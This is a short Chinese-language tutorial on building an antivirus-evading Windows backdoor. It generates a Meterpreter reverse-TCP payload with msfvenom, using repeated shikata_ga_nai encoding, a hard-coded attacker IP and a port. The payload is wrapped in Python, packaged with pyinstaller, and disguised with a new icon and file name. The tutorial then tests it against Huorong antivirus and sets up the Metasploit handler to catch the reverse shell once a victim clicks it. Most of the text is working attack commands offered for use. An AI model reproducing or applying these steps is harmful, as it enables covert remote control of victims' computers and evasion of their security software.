Python 加密 shellcode 免杀
环境准备:
Windows7 32 位系统;
Shellcode 使用 kali linux Metasploit 生成 shellcode
Windows7 需要安装的软件:
Python2.7, pip install pyinstaller
pywin32-217.win32-py2.7.exe
VCForPython27.msi
制作流程:
- 首先查看自己的kali ip 作为shell反弹的服务器
2. Kalilinux 生成shellcode木马 msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=8888 LHOST=192.168.23.129 -e x86/shikata_ga_nai -i 11 -f py -o sylon.py
3. 把生成的 shellcode 替换如下 python shellcode:
4. 后门程序制作 进入python安装目录script 安装开头三个必要条件 将shellcodo更换个图标
也可以改名字哈 当然图标也可以随意该!!!
5. 拉出来 测测杀毒软件(这里火绒为例)
6.kali 监听 客户机配合点下 哈哈
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp_uuid
set lhost 192.168.23.129
set lport 8888
set EnableStageEncoding true
set StageEncoder x86/fnstenv_mov
exploit